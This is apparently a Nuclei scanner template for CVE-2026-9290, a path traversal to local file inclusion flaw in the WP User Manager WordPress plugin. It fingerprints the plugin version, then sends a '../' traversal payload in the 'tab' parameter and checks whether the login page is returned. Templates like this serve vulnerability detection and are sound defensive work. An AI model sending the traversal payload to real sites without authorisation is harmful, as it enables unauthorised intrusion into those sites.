id: CVE-2026-9290

info:
  name: WP User Manager – User Profile Builder & Membership - Local File Inclusion
  author: theamanrawat
  severity: high
  description: |
    WP User Manager – User Profile Builder & Membership plugin for WordPress <= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code, bypass access controls, and access sensitive data.
  remediation: |
    Update to a version later than 2.9.17 or the latest available version.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-wp-user-manager-user-profile-builder-membership-plugin-2-9-17-unauthenticated-path-traversal-to-local-file-inclusion-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9290
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-9290
    epss-score: 0.02502
    epss-percentile: 0.83053
    cwe-id: CWE-22
  metadata:
    max-request: 2
    verified: true
    product: wp-user-manager
    vendor: wp-developer
  tags: cve,cve2026,wordpress,wp-plugin,wp-user-manager,lfi,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-user-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WP User Manager")'
          - 'compare_versions(plugin_version, "<= 2.9.17")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        part: body
        group: 1
        regex:
          - '(?i)Stable\s+tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /profile/admin/about?tab=../../../../../wp-login HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "wp-login-logo"
          - "Username or Email Address"
          - "wp-login-lost-password"
        condition: and

      - type: status
        status:
          - 200
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